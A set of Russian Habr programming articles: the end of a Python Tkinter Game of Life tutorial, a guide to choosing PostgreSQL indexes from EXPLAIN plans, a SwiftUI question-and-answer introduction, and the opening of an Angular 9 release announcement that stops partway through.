# в зависимости от их числа устанавливаем состояние клетки
if(k == 3):
canvas.itemconfig(cell_matrix[addr(i, j)], tags=(current_tag, 'to_vis'))
# nota bene, в этом месте можно экспериментировать с самими "правилами" игры
if(k = 4):
canvas.itemconfig(cell_matrix[addr(i, j)], tags=(current_tag, 'to_hid'))
if(k == 2 and canvas.gettags(sm[addr(i, j)])[0] == 'vis'):
canvas.itemconfig(cell_matrix[addr(i, j)], tags=(current_tag, 'to_vis'))
# перерисовываем поле по буферу из второго тега элемента
def repaint():
for i in xrange(field_height):
for j in xrange(field_width):
if (canvas.gettags(sm[addr(i, j)])[1] == 'to_hid'):
canvas.itemconfig(sm[addr(i, j)], state=HIDDEN, tags=('hid','0'))
if (canvas.gettags(sm[addr(i, j)])[1] == 'to_vis'):
canvas.itemconfig(sm[addr(i, j)], state=NORMAL, tags=('vis','0'))
# сам шаг: обновляем состояние и рисуем
def step():
refresh()
repaint()
```
И вспомогательные функции:
```
# функция получает координаты мыши в момент нажатия или передвижения с зажатой кнопкой
def draw_a(e):
ii = (e.y - 3)/cell_size
jj = (e.x - 3)/cell_size
# оживляем клетку
canvas.itemconfig(cell_matrix[addr(ii, jj)], state=NORMAL, tags='vis')
# эта функция преобразует двумерную координату в простой адрес нашего одномерного массива
def addr(ii,jj):
if(ii < 0 or jj < 0 or ii >= field_height or jj >= field_width):
# тут адресуется фиктивная клетка
return len(cell_matrix) - 1
else:
return ii*(win_width/a) + jj
```
Ну вот примерно так, надеюсь, вам было интересно. Ссылка на [github](https://github.com/gralexey/cglife). | https://habr.com/ru/post/228379/ | null | ru | null |
# Псс, парень… индекс нужен?
Индексы PostgreSQL оптом и в розницуСамый больной вопрос для любого разработчика, которому приходится вычитывать данные из базы: *"Как сделать мой запрос быстрее?"*. Классический ответ - необходимо создать **подходящий индекс**. Но куда именно его стоит "накатывать", да и как вообще он должен выглядеть?..
Мы научили наш [сервис визуализации планов PostgreSQL](https://explain.tensor.ru/) отвечать на эти вопросы, и под катом расскажем, чем именно он руководствуется в своих рекомендациях.
Вообще, разного рода рекомендации мы умеем раздавать уже давно - о некоторых из них можно прочитать в статье ["Рецепты для хворающих SQL-запросов"](/ru/post/492694/). Сегодня мы подробно рассмотрим некоторые из них, когда *правильный* индекс действительно может помочь улучшить производительность запроса.
И "правильный" - тут ключевое слово, потому что насоздавать неправильных индексов, которые нормально работать все равно не будут - наука невелика. А вот чтобы их потом вычислить и зачистить, уже придется использовать методы из статьи ["DBA: находим бесполезные индексы"](/ru/post/488104/).
Чтобы не начинать с самых азов, договоримся, что пользоваться [EXPLAIN](https://postgrespro.ru/docs/postgresql/14/using-explain) все умеют, и что такое `Seq Scan`, `Index Scan` и `Bitmap Index Scan` знают. А если нет - стоит [почитать переводы](https://habr.com/ru/post/276973/) хороших постов [*Hubert 'depesz' Lubaczewski*](http://www.depesz.com/).
Проблема #1: Seq Scan
---------------------
Давайте создадим модельную табличку из знакомой всем таблицы `pg_class`, и будем проводить эксперименты над ее копией:
```
CREATE TABLE pg_class_copy AS TABLE pg_class;
```
Посмотрим, как реагирует база на попытку найти идентификаторы всех последовательностей (sequence), которые есть у нас в базе:
```
explain (analyze, buffers, costs off, verbose)
SELECT oid FROM pg_class_copy WHERE relkind = 'S';
```
Поскольку ни одного индекса на нашей таблице нет, то получим самый простой вариант, который может встретиться в плане `Seq Scan`:
```
Seq Scan on pg_class_copy (actual time=0.017..0.105 rows=2 loops=1)
Output: oid
Filter: (pg_class_copy.relkind = 'S'::"char")
Rows Removed by Filter: 427
Buffers: shared hit=11
```
`Filter` - это как раз то самое условие, которое заставило PostgreSQL из 429 прочитанных записей отбросить 427 и оставить для нас только 2. И это плохо - мы прочитали **в 200 раз больше необходимого** количества записей!
Способы индексации
------------------
### Индекс по полю/выражению
Очевидно, что сразу напрашивается **индекс по значению поля** `pg_class_copy(relkind)`:
```
CREATE INDEX ON pg_class_copy USING btree(relkind);
```
И мы видим, что вместо фильтрации наше выражение теперь ушло в условие индексного поиска `Index Cond`, а сам узел превратился в `Index Scan`:
```
Index Scan using pg_class_copy_relkind_idx on pg_class_copy (actual time=0.010..0.011 rows=2 loops=1)
Output: oid
Index Cond: (pg_class_copy.relkind = 'S'::"char")
Buffers: shared hit=2
```
### Индекс с условием
С другой стороны, мы можем все **выражение вынести в WHERE-условие индекса**, а его поля использовать под что-то более насущное - например, под тот самый `oid`, который мы вычитываем:
```
CREATE INDEX ON pg_class_copy USING btree(oid) -- индексируемое поле
WHERE relkind = 'S'; -- условие применения индекса
```
Обратите внимание, что узел превратился в `Index Only Scan`, а вот вынесенное нами **условие исчезло из плана** вовсе:
```
Index Only Scan using pg_class_copy_oid_idx on pg_class_copy (actual time=0.012..0.013 rows=2 loops=1)
Output: oid
Heap Fetches: 0
Buffers: shared hit=2
```
Такое поведение характерно только для узлов `Index [Only] Scan` - в `Seq Scan` нам и так видны все условия сразу, а в `Bitmap Heap Scan` мы увидим условия дополнительной проверки записей страниц в строке `Recheck Cond`.
### Неиндексируемые выражения
Но далеко **не все выражения можно проиндексировать**, а только сводящиеся к `IMMUTABLE` в терминах [категорий изменчивости функций](https://postgrespro.ru/docs/postgresql/14/xfunc-volatility).
Применительно к индексам это означает, что выражение должно быть вычислимо с использованием **только полей записи и** `IMMUTABLE`**-функций**, выдающих всегда один и тот же результат.
Если на совсем простых примерах:
| | |
| --- | --- |
| Условие | `idx` |
| `ts >= '2022-04-01 00:00:00'::timestamp` | `(ts) / WHERE ...` |
| `ts >= $1::timestamp` | `(ts)` |
| `ts >= (SubPlan 1)` | `(ts)` |
| `ts = $1 OR ts = $2` | `(ts)` |
| `ts IN ($1, $2)` | `(ts)` |
| `ts = ANY(ARRAY[$1, $2])` | `(ts)` |
| `ts >= now()` | `(ts)` |
| `ts >= now() + '1 day'::interval [1]` | `(ts)` |
| `ts - '1 day'::interval >= now() [2]` | `(ts - '1 day'::interval)` |
| `ts - now() >= '1 day'::interval [3]` | `---` |
На что обратить внимание:
* Из всех этих вариантов условий, только первый допускает создание индекса `(...) WHERE ts >= '2022-04-01 00:00:00'::timestamp`, во всех остальных случаях правая часть не-иммутабельна.
* Хотя все три последних варианта математически эквивалентны, но...
+ первый может использовать наиболее общий индекс и не зависит от константы
+ второй **требует специального индекса** с фиксацией константы
+ третий **не может быть проиндексирован** из-за вариативности `now()` и является примером одной из классических ошибок при использовании индексов
Типы индексов
-------------
Пока мы использовали только `btree` - самый простой и "дефолтный" из [всех типов индексов](https://postgrespro.ru/docs/postgresql/14/indexes-types), которые PostgreSQL поддерживает "из коробки", его даже можно можно опускать при описании индекса:
```
CREATE INDEX ON pg_class_copy(relkind);
```
Но [типов индексов в PostgreSQL гораздо больше](https://postgrespro.ru/docs/postgresql/14/indexes-types), и каждый из них обладает своими возможностями и ограничениями, но основное отличие - поддерживаемые типы полей (на самом деле, конечно, произвольных `IMMUTABLE`-выражений от них) и операторы.
Некоторые из них могут быть модифицированы с использованием дополнительных расширений, поэтому я приведу только базовые возможности доступные "из коробки".
### btree
Операторы **линейного порядка** (`<, <=, =, >=, >`):
* **числовые** (`smallint, integer, bigint, numeric, real, double precision`)
* **хронологические** (`date, time, time without time zone, time with time zone, timestamp, timestamp without time zone, timestamp with time zone`)
* `uuid`
* **текстовые** (`varchar, text`)
Операторы **префиксного поиска** (`~<~, ~<=~, ~, ~>=~, ~>~`) с использованием [дополнительных классов операторов](https://postgrespro.ru/docs/postgresql/14/indexes-opclass):
* **текстовые** (`varchar, text`)
[подробнее: [обзор](https://habr.com/ru/company/postgrespro/blog/330544/)]
### hash
Индекс может содержать **только одно поле** и поддерживает только один оператор `=` , поэтому в реальной работе малоприменим.
[подробнее: [обзор](https://habr.com/ru/company/postgrespro/blog/328280/)]
### gist
Операторы [геометрических отношений](https://postgrespro.ru/docs/postgresql/14/functions-geometry) (`<<, &<, &>, >>, <@, @>, ~=, &&, <<|, &<|, |&>, |>>, ~, @`):
* **геометрические** (`box, circle, poly, point`)
Операторы [для сетевых адресов](https://postgrespro.ru/docs/postgresql/14/functions-net) (`<<, <<=, >>, >>=, =, <>, <, <=, >, >=, &&`):
* **сетевые адреса** (`inet`)
Операторы [для диапазонов](https://postgrespro.ru/docs/postgresql/14/functions-range) (`=, &&, @>, <@, <<, >>, &<, &>, -|-`):
* **диапазоны числовые** (`int4range, int8range, numrange`)
* **диапазоны хронологические** (`daterange, tsrange, tstzrange`)
Операторы [текстового поиска](https://postgrespro.ru/docs/postgresql/14/functions-textsearch) (`<@, @>, @@`) :
* **FTS-типы** (`tsquery, tsvector`)
[подробнее: [документация](https://postgrespro.ru/docs/postgresql/14/gist-builtin-opclasses#GIST-BUILTIN-OPCLASSES-TABLE), [обзор](https://habr.com/ru/company/postgrespro/blog/333878/)]
Дополнительно:
* поддерживает **оператор упорядочивания** `<->`, который позволяет осуществлять индексный kNN-поиск
* при использовании расширения [btree\_gist](https://postgrespro.ru/docs/postgresql/14/btree-gist) поддерживает операторы и типы `btree`
### spgist
Индекс может содержать **только одно поле** и поддерживает те же возможности, что и у `gist`, включая **оператор упорядочивания** `<->`, но с большей оптимизацией для пространственных данных.
[подробнее: [документация](https://postgrespro.ru/docs/postgresql/14/gist-builtin-opclasses#GIST-BUILTIN-OPCLASSES-TABLE), [обзор](https://habr.com/ru/company/postgrespro/blog/337502/)]
### gin
Операторы [для массивов](https://postgrespro.ru/docs/postgresql/14/functions-array) (`&&, @>, <@, =`):
* **массивы** (`anyarray`)
Операторы [jsonb-ключей](https://postgrespro.ru/docs/postgresql/14/functions-json) (`@>, @?, @@, ?, ?|, ?&`):
* `jsonb`
Операторы [jsonb-путей](https://postgrespro.ru/docs/postgresql/14/functions-json#FUNCTIONS-SQLJSON-PATH) (`@>, @?, @@`):
* `jsonb`
Операторы [текстового поиска](https://postgrespro.ru/docs/postgresql/14/functions-textsearch) (`@@, @@@`) :
* `tsvector`
[подробнее: [документация](https://postgrespro.ru/docs/postgresql/14/gin-builtin-opclasses#GIN-BUILTIN-OPCLASSES-TABLE), [обзор](https://habr.com/ru/company/postgrespro/blog/340978/)]
Дополнительно:
* при использовании расширения [btree\_gin](https://postgrespro.ru/docs/postgresql/14/btree-gin) поддерживает операторы и типы `btree`
### brin
Блочный индекс с возможностями `btree`.
С одной стороны, позволяет эффективно индексировать **большие блоки данных**, с другой - неэффективен для небольших, поскольку всегда получается `Bitmap Heap Scan`.
[подробнее: [обзор](https://habr.com/ru/company/postgrespro/blog/346460/)]
### Условия применимости
Из приведенных выше особенностей следует достаточно простой алгоритм, когда и какой тип можно попробовать использовать, а когда не стоит:
* поддержка нужного оператора;
не стоит пытаться использовать `btree`-индекс, если у вас условие с `<>`, но если у вас `~>=~`, не забудьте `text_pattern_ops`.
* поддержка нужного типа;
хотите что-то искать в `jsonb` - только `gin`, если надо сочетать `<, =, >` и `<@` - смотрим на `btree_gist/btree_gin`.
* поддержка нескольких полей;
если необходима, то `hash` и `spgist` сразу отпадают.
* количество данных;
если возвращается мало записей, то `brin` вам не нужен.
Теперь, зная все это, посмотрим, что нам [порекомендует explain.tensor.ru](https://explain.tensor.ru/archive/explain/3b2b6c45f60d9e7d6f31fb609f55a86e:0:2022-04-26#indexes):
Явно стоит создать индексНаиболее релевантным для данного случая сервис выбрал обычный btree-индекс по полю фильтрации:
Рекомендованный btree-индексКомментарий содержит описание вычисленных типов для всех индексируемых полей и использованные с ними в условии операторы. Итоговый SQL-запрос для создания такого индекса можно в один клик скопировать в буфер обмена.
Проблема #2: BitmapAnd
----------------------
Для демонстрации второй проблемы давайте возьмем табличку из прошлой [статьи про способы работы с EAV-структурой](/ru/post/657895/):
```
CREATE TABLE tst_eav AS
SELECT
(random() * 1e4)::integer e -- 10k объектов
, (random() * 1e2)::integer a -- 100 характеристик
, (random() * 1e2)::integer v -- 100 вариантов значений
FROM
generate_series(1, 1e6); -- 1M записей о значениях
CREATE INDEX ON tst_eav(a);
CREATE INDEX ON tst_eav(v);
```
Пробуем отобрать сразу по двум ключам:
```
explain (analyze, buffers, costs off)
SELECT * FROM tst_eav WHERE a = 1 AND v = 1;
```
```
Bitmap Heap Scan on tst_eav (actual time=1.495..1.603 rows=98 loops=1)
Recheck Cond: ((a = 1) AND (v = 1))
Heap Blocks: exact=97
Buffers: shared hit=119
-> BitmapAnd (actual time=1.466..1.466 rows=0 loops=1)
Buffers: shared hit=22
-> Bitmap Index Scan on tst_eav_a_idx (actual time=0.651..0.651 rows=10036 loops=1)
Index Cond: (a = 1)
Buffers: shared hit=11
-> Bitmap Index Scan on tst_eav_v_idx (actual time=0.627..0.627 rows=9963 loops=1)
Index Cond: (v = 1)
Buffers: shared hit=11
```
Очевидно, что каждый из `Bitmap Index Scan` "наметил" к дальнейшей проверке по 10K записей, а всего нам их оказалось нужно 98. Посмотрим внимательно на `Recheck Cond` - там два **условия, которые мы можем комбинировать** как в варианте с `Seq Scan`:
```
(a, v)
(a) WHERE v = 1
(v) WHERE a = 1
(?) WHERE a = 1 AND v = 1
```
Попробуем первый **вариант с составным индексом** как наиболее типовой:
```
Bitmap Heap Scan on tst_eav (actual time=0.036..0.117 rows=98 loops=1)
Recheck Cond: ((a = 1) AND (v = 1))
Heap Blocks: exact=97
Buffers: shared hit=100
-> Bitmap Index Scan on tst_eav_a_v_idx (actual time=0.021..0.021 rows=98 loops=1)
Index Cond: ((a = 1) AND (v = 1))
Buffers: shared hit=3
```
Теперь вместо 22 страниц данных мы прочитали всего 3 - и это хорошо!
Что же нам посоветуют сделать [авторекомендации explain](https://explain.tensor.ru/archive/explain/1ced07a179df5139614f58e0ca74a196:0:2022-04-26#indexes)?..
Три варианта возможных индексов - на усмотрение разработчикаТут мы видим сразу всю "цепочку" узлов, которая демонстрирует нам необходимость именно таких индексов.
Проблема #3: Limit - Sort - Scan
--------------------------------
Давайте чуть модифицируем запрос, и найдем запись с минимальным `v` для конкретного заданного `a`:
```
explain (analyze, buffers, costs off)
SELECT * FROM tst_eav WHERE a = 1 ORDER BY v LIMIT 1;
```
```
Limit (actual time=49.178..49.178 rows=1 loops=1)
Buffers: shared hit=3048 read=99
-> Gather Merge (actual time=49.177..55.782 rows=1 loops=1)
Workers Planned: 2
Workers Launched: 2
Buffers: shared hit=5425 read=99
-> Sort (actual time=30.746..30.746 rows=1 loops=3)
Sort Key: v
Sort Method: top-N heapsort Memory: 25kB
Buffers: shared hit=5425 read=99
Worker 0: Sort Method: top-N heapsort Memory: 25kB
Worker 1: Sort Method: top-N heapsort Memory: 25kB
-> Parallel Seq Scan on tst_eav (actual time=0.023..30.286 rows=3345 loops=3)
Filter: (a = 1)
Rows Removed by Filter: 329988
Buffers: shared hit=5307 read=99
```
"Параллельность" `Seq Scan` не должна нас смущать, и для условия `a = 1` мы ровно как в первом случае можем порекомендовать варианты индексов:
```
(a)
(?) WHERE a = 1
```
Но если мы поднимемся выше, то увидим, что `Sort`-узел хранит информацию о дополнительно используемых полях: `Sort Key: v`. Так почему бы нам не **расширить индексы ключом сортировки**?
```
(a, v)
(v) WHERE a = 1
```
Попробуем первый из них `(a, v)` - тем более, он же попал и в рекомендации предыдущей проблемы:
```
Limit (actual time=0.023..0.023 rows=1 loops=1)
Buffers: shared hit=4
-> Index Scan using tst_eav_a_v_idx on tst_eav (actual time=0.021..0.021 rows=1 loops=1)
Index Cond: (a = 1)
Buffers: shared hit=4
```
Наш запрос ускорился больше чем в 2000 раз! Но при дальнейших оптимизациях надо быть много аккуратнее - **в плане теперь вообще не фигурирует условие сортировки** по `v` .
Замечу, что такое расширение индекса имеет смысл только в случае использования оператора `=` или `IS NULL` для всех остальных полей, иначе это [не сможет использоваться эффективно](/ru/post/488104/). То есть, например, для условия `a > 1` - увы, оптимизация не даст эффекта.
Посмотрим, что нам [присоветует сервис](https://explain.tensor.ru/archive/explain/2674afdb-1359-59c9-848e-2eae49d6ead8:0:2022-04-26#indexes):
Пара вариантов ускоряющих индексов для Limit - Sort - ScanИ прямо-таки ровно то, что мы и ожидали!
---
А еще [explain.tensor.ru](https://explain.tensor.ru/) научился замечать, когда...
* [запросу не хватило worker'ов](https://explain.tensor.ru/archive/explain/5435cd857f8c2a8882a6ad6e734413a6:0:2022-04-26) для максимальной эффективности параллельного выполнения
* план имеет [аномальное время выполнения](https://explain.tensor.ru/archive/explain/6dd70e7423fcf6f5865ea5302cef7b7b:0:2022-04-26) существенно больше всех узлов
* [время планирования запроса](https://explain.tensor.ru/archive/explain/25ab31029c4b6a885d42cfd42cbb3ab3:0:2022-04-26) превышает само его выполнение, что критично для частых и быстрых запросов, где ее лучше решать через `PREPARE` | https://habr.com/ru/post/659889/ | null | ru | null |
# Все, что вы хотели знать о SwiftUI, но боялись спросить
Привет! Меня зовут Ренат, я разрабатываю сервис по аналитике подписок в iOS – Apphud.
Как вы знаете, Apple на WWDC 2019 представила свой новый фреймворк SwiftUI, который призван в будущем заменить (или нет?) привычный нам UIKit. SwiftUI позволяет описывать интерфейс приложений в декларативном стиле и сильно сокращает количество кода.
Apple уже представила несколько интересных [туториалов](https://developer.apple.com/tutorials/swiftui/creating-and-combining-views) на английском языке с множеством примеров. Я же постараюсь рассказать о новом фреймворке в форме вопросов и ответов. Итак, поехали.
Перед началом работы
--------------------
Для работы со SwiftUI необходимо скачать [Xсode 11 Beta](https://developer.apple.com/download/). Вы также должны быть зарегистрированным разработчиком Apple. Иметь последнюю macOS Catalina желательно, но не обязательно. Без нее не будет доступен Canvas.
Итак, в Xсode 11 Beta создайте новый проект и убедитесь, что стоит галочка “Use SwiftUI”.
Вопросы и ответы
----------------
### Куда подевался Interface Builder?
Для SwiftUI теперь не нужен *Interface Builder* – ему на смену пришел *Canvas* – интерактивный редактор интерфейса, который тесно связан с кодом. При написании кода автоматически генерируется его визуальная часть в *canvas* и наоборот. Очень удобно, а главное безопасно. Теперь ваше приложение не будет падать из-за того, что вы забыли обновить связь `@IBOutlet` с переменной. В данной статье мы не будем затрагивать *canvas*, рассмотрим только код.
### Изменился ли запуск приложения?
Да, теперь начальным объектом в интерфейсе приложения является не `UIWindow`, а новый класс `UIScene` (либо его наследник `UIWindowScene`). И уже к сцене добавляется окно. Эти изменения касаются не только SwiftUI, но и iOS 13 в целом.
При создании проекта вы увидите файлы *AppDelegate*, *SceneDelegate* и *ContentView*. *SceneDelegate* – делегат класса `UIWindowScene`, используется для управления сценами в приложении. Сильно напоминает *AppDelegate*.
*Класс SceneDelegate указывается в Info.plist*
В методе делегата `scene: willConnectTo: options:` создается окно и рутовый `UIHostingController`, который содержит в себе `ContentView`. `ContentView` – и есть наша "домашняя" страница. Вся разработка будет вестись в этом классе.
### Чем View отличается от UIView?
Открыв `ContentView.swift`, вы увидите объявление контейнера ContentView. Как вы уже поняли, в SwiftUI нет привычных методов `viewDidLoad` или `viewDidAppear`. Основой экранов здесь является не `UIViewController`, а *View*. Первое, что стоит заметить, `ContentView` – это структура (`struct`), которая принимает протокол `View`. Да, `View` теперь стал протоколом, причем очень простым. Единственный метод, который вы должны реализовать в `ContentView` – это описать переменную `body`. Все ваши *subview* и кастомные *view* должны принимать протокол `View`, то есть должны иметь переменную `body`.
### Что такое body?
`Body` – это непосредственно наш контейнер, куда добавляются все остальные *subview*. Это чем-то напоминает *body* в *html* странице, где *html* страница – это `ContentView`. `Body` всегда должен иметь ровно один потомок, причем любого класса, принимающего протокол `View`.
```
struct ContentView: View {
var body: some View {
Text("Hello, world!")
}
}
```
### Opaque return types или что такое some?
Конструкция `some TypeName` – это нововведение Swift 5.1, которое называется *opaque return type*. Оно используется для случаев, когда нам не важно, какой конкретно объект вернуть, главное, чтобы он поддерживал указанный тип, в данном случае протокол `View`.
Если бы мы просто написали `var body: View`, то это бы означало, что мы должны вернуть именно `View`. Класс `Any` тоже не подходит, так как нам пришлось бы выполнить операцию приведения типа (*с помощью оператора* `as!`). Поэтому придумали специальное слово `some` перед названием протокола для обозначения *opaque return type*. Вместо `View` мы можем вернуть `Text`, `Image`, `VStack` – что угодно, так как все они поддерживают протокол `View`. Но должен быть ровно один элемент: при попытке вернуть больше одной `View` компилятор выдаст ошибку.
*Ошибка компилирования при попытке вернуть в body более одного элемента*
### Что за синтаксис внутри скобок и где addSubview?
В Swift 5.1 появилась возможность группировать объекты в нечто единое целое в декларативном стиле. Это похоже на массив внутри *closure*-блока, однако элементы перечисляются с новой строки без запятых и *return*. Данный механизм назвали *Function Builder*.
Это нашло широкое применение в SwiftUI. На основе *Function Builder* сделали `ViewBuilder` – декларативный конструктор интерфейса. Используя `ViewBuilder` нам больше не нужно писать `addSubview` для каждого элемента – достаточно перечислить все `View` с новой строки внутри *closure*-блока. SwiftUI сам добавит и сгруппирует элементы в более сложный родительский контейнер.
```
@available(iOS 13.0, OSX 10.15, tvOS 13.0, watchOS 6.0, *)
@_functionBuilder public struct ViewBuilder {
/// Builds an empty view from an block containing no statements, `{ }`.
public static func buildBlock() -> EmptyView
/// Passes a single view written as a child view (e..g, `{ Text("Hello") }`) through
/// unmodified.
public static func buildBlock(\_ content: Content) -> Content where Content : View
}
```
*Объявление ViewBuilder в SwiftUI фреймворке*
### Как добавлять UILabel, UIImageView и другие элементы?
Создаются элементы очень просто: каждый `View` нужно писать с новой строки и менять внешний вид с помощью функций-модификаторов (*view modifiers*). Отличие модификаторов от привычных нам функций в том, что они всегда возвращают объект-контейнер вместо `void`. Поэтому мы можем создавать целые цепочки модификаторов через точку.
```
var body: some View {
VStack{
Text("World Time").font(.system(size: 30))
Text("Yet another subtitle").font(.system(size: 20))
}
}
```
Однако не все контролы и *View* имеют свои аналоги в SwiftUI. Вот неполный список классов из UIKit и их аналоги:
* `UITableView` -> `List`
* `UICollectionView` не имеет аналога
* `UILabel` -> `Text`
* `UITextField` -> `TextField`
* `UIImageView` -> `Image`
* `UINavigationController` -> `NavigationView`
* `UIButton` -> `Button`
* `UIStackView` -> `HStack` / `VStack`
* `UISwitch` -> `Toggle`
* `UISlider` -> `Slider`
* `UITextView` не имеет аналога
* `UIAlertController` -> `Alert` / `ActionSheet`
* `UISegmentedControl` -> `SegmentedControl`
* `UIStepper` -> `Stepper`
* `UIDatePicker` -> `DatePicker`
### Как происходит навигация между экранами?
Роль *navigation controller* берет на себя специальный `NavigationView`. Достаточно обернуть ваш код в `NavigationView{}`. А само действие перехода можно добавить в специальную кнопку `NavigationLink`, которая пушит условный экран `DetailView`.
```
var body: some View {
NavigationView {
Text("World Time").font(.system(size: 30))
NavigationLink(destination: DetailView() {
Text("Go Detail")
}
}
}
```
Как представлять новые *view* модально? Это делается, например, с помощью конструкции *sheet*:
```
Button(action: {
print("Button Pushed")
self.show_modal = true
}) {
Text("Present Modal")
}.sheet(isPresented: self.$show_modal) {
ModalView()
}
```
Как говорилось выше, `body` может возвращать не только экземпляр `View`, но и любой другой класс, принимающий данный протокол. Это дает нам возможность пушить не `DetailView`, а даже `Text` или `Image`!
### Как располагать элементы на экране?
Элементы располагаются зависимо друг от друга и могут быть расположены вертикально внутри `VStack`, горизонтально `HStack` и друг над другом `ZStack`. Так же нам доступны `ScrollView` и `ListView`. Можно чередовать и использовать совместно эти контейнеры, чтобы получить любую сетку элементов.
Комбинируя контейнеры между собой можно получить довольно крупное дерево с большим количеством вложений. Однако SwiftUI оптимизирован специально для этого, так что глубокая вложенность контейнеров не влияет на производительность. Об этом говорится в [видео с wwdc](https://developer.apple.com/videos/play/wwdc2019/216/) (*начиная с 15:32*).
```
var body: some View {
NavigationView {
VStack {
NavigationLink(destination: LargeView(timeString: subtitle)) { Text("See Fullscreen") }
Text("World Time").font(.system(size: 30))
}
}
}
```
### Как показать Navigation Bar?
Объявить `NavigationView` недостаточно, необходимо указать *navigation title* и стиль *navigation bar*’а.
```
NavigationView {
VStack{}.navigationBarTitle(Text("World Time"), displayMode: .inline)
}
```
Обратите внимание, что функция `navigationBarTitle` вызывается не у `NavigationView`, а у ее внутренней `View`. *DisplayMode* – параметр, который указывает стиль *navigation bar*’а: большой или стандартный.
### Есть ли аналог метода viewDidLoad?
Если вы хотите выполнить код при инициализации `View`, вы можете сделать это, добавив функцию onAppear{}. *OnAppear* можно добавить к любой `View`, например, к `VStack`. В данном примере при появлении контейнера на экране выполняется http-запрос к серверу.
```
struct ContentView : View {
@State var statusString : String = "World Time"
var body: some View {
NavigationView {
VStack {
NavigationLink(destination:DetailView()) {
Text("Go Detail")
}
Text(statusString).font(.system(size: 30))
}.onAppear {
self.loadTime()
}
}
}
func loadTime(){
NetworkService().getTime { (time) in
if let aTime = time {
self.statusString = "\(aTime.date())"
}
}
}
}
```
> Мы вызываем функцию `loadTime`, которая запрашивает текущее время из сервера и возвращает модель `WorldTime`. Не будем зацикливаться на классе `NetworkService`, вы сможете посмотреть весь код, скачав исходники. Ссылка в конце статьи.
Переменная `var statusString` была вынесена для того, чтобы позже к ней присвоить текущее время. Перед переменной стоит особый атрибут `@State`. Что он означает?
### Property Wrappers или что такое `@State`?
В Swift 5.1 появились так называемые *property wrappers* (или *property delegates*). В SwiftUI *property wrappers* используются для того, чтобы обновлять или связывать один из параметров *view* с нашей собственной переменной, например, значение переключателя (*Toggle*).
Атрибут `@State` – специальный атрибут, который ставится перед объявлением переменной. Это позволяет нам автоматически отслеживать изменение свойства без дополнительного кода. В примере выше текст *"World Time"* изменится на текущую дату, как только мы обновим значение statusString .
Для связывания значений (*Properties Binding*) мы можем указать специальный символ `$` перед названием переменной в самом коде:
```
struct DetailsView: View {
@State var changeToggle: Bool
var body: some View {
Toggle(isOn: $changeToggle) {
Text("Change Toggle")
}
}
}
```
*Изменив положения переключателя, изменится и значение переменной*
*Property wrappers* являются очень важной составляющей SwiftUI, я лишь вскользь упомянул о них. Для более подробного ознакомления с *property wrappers* посмотрите видео с wwdc [здесь](https://developer.apple.com/videos/play/wwdc2019/415/) (с 37й минуты), [здесь](https://developer.apple.com/videos/play/wwdc2019/216/) (c 12й минуты) и [здесь](https://developer.apple.com/videos/play/wwdc2019/204/) (с 19й минуты).
### Как добавлять view в runtime?
Сразу стоит отметить, что добавлять *view* в произвольное время в прямом смысле слова нельзя. SwiftUI – декларативный фреймворк, который рендерит весь *view* целиком. Однако можно задавать различные условия внутри *body* и обновлять состояние *view* при их изменении. В данном примере используем простейшую связку `@State – if` с переменной `isTimeLoaded`.
```
struct ContentView : View {
@State var statusString : String = "World Time"
@State var isTimeLoaded : Bool = false
var body: some View {
NavigationView {
VStack {
if isTimeLoaded {
addNavigationLink()
}
Text(statusString).font(.system(size: 30)).lineLimit(nil)
}.navigationBarTitle(Text("World Time"), displayMode: .inline)
}.onAppear {
self.loadTime()
}
}
func addNavigationLink() -> some View {
NavigationLink(destination: Text("124!!!")) {
Text("Go Detail")
}
}
func loadTime(){
NetworkService().getTime { (time) in
if let aTime = time {
self.statusString = "\(aTime.date().description(with: Locale.current))"
self.isTimeLoaded = true
}
}
}
}
struct DetailView : View {
var timeString : String
var body : some View {
Text(timeString).font(.system(size: 40)).lineLimit(nil)
}
}
```
Кстати, вы заметили, что в функции `addNavigationLink()` нет слова `return`? Это еще одно нововведение Swift 5.1 – для функций с одним выражением теперь необязательно писать `return`. Но можно и писать.
Заключение
----------
Это лишь часть вопросов и ответов по SwiftUI. Я рассмотрел общие вопросы, надеюсь, данная статья поможет новичкам понять основные моменты данного фреймворка. SwiftUI еще сырой, но несомненно он будет совершенствоваться.
Логичен вопрос: *стоит ли изучать UIKit? Конечно, да*. UIKit – основа программирования на iOS и он будет развиваться и дальше. Тем более многие компоненты SwiftUI являются оберткой над UIKit. Ну и пока что нет никаких библиотек, фреймворков, pod-ов для SwiftUI. Все пока придется писать самостоятельно. Так что лучше изучайте оба подхода к разработке – так вы будете более ценным разработчиком.
Исходники проекта вы можете скачать [здесь](https://github.com/apphud/swiftui-example-world-time/).
Спасибо, что дочитали статью до конца. Надеюсь, она оказалась вам полезной.
Что почитать?
-------------
* [Как реализовать контекстные меню (Context Menu) в iOS 13](https://habr.com/ru/post/455854/)
* [15 советов, как пробиться в App Store приложению с подписками](https://habr.com/ru/post/455443/)
* [Руководство по Apple Subscriptions Notifications для iOS. Так ли они хороши на самом деле?](https://habr.com/ru/post/453770/) | https://habr.com/ru/post/455970/ | null | ru | null |
# Angular 9 теперь доступен — Ivy прибыл
Вышла 9 версия Angular, это основной релиз, охватывающий всю платформу, включая сам фреймворк, angular material и CLI. В этом релизе приложения по умолчанию переключаются на компилятор и рантайм Ivy и, а также представляются улучшенные способы тестирования компонентов.
Это одно из самых больших обновлений Angular за последние 3 года, и команда разработчиков рада возможностям, позволяющим разработчикам создавать лучшие приложения и вносить свой вклад в экосистему Angular.
#### Как обновиться до 9 версии
Пройдите на [update.angular.io](http://update.angular.io) для получения подробной информации. Чтобы обновление прошло гладко, рекомендуется сначала обновиться до последней версии Angular 8.
Обновление до последней версии 8
`ng update @angular/cli@8 @angular/core@8`
`ng update @angular/cli @angular/core`
Чтобы ознакомиться с основными изменениями, внесенными в данном обновлении, включая устаревшие API, ознакомьтесь с [Обновление до 9 версии Angular](https://v9.angular.io/guide/updating-to-version-9) в документации Angular.
#### Ivy
Версия 9 переводит все приложения на компилятор и рантайм Ivy по умолчанию. Помимо сотен исправленных багов, компилятор и среда выполнения Ivy предлагают множество преимуществ:
* Меньшие размеры бандла
* Более быстрое тестирование
* Лучшая отладка
* Улучшен байндинг CSS-классов и стилей
* Улучшенная проверка типов
* Улучшены сообщения об ошибках при сборке
* Улучшено время сборки, AOT включается по умолчанию
* Улучшение интернационализации
Рассмотрим детально некоторые улучшения
#### Меньшие размеры бандла
Компилятор Ivy был разработан для удаления частей Angular, которые не используются с помощью treeshaking, и для уменьшения количества кода, генерируемого для компонент Angular.
Благодаря этим улучшениям приложения могут получить значительное уменьшение размера.
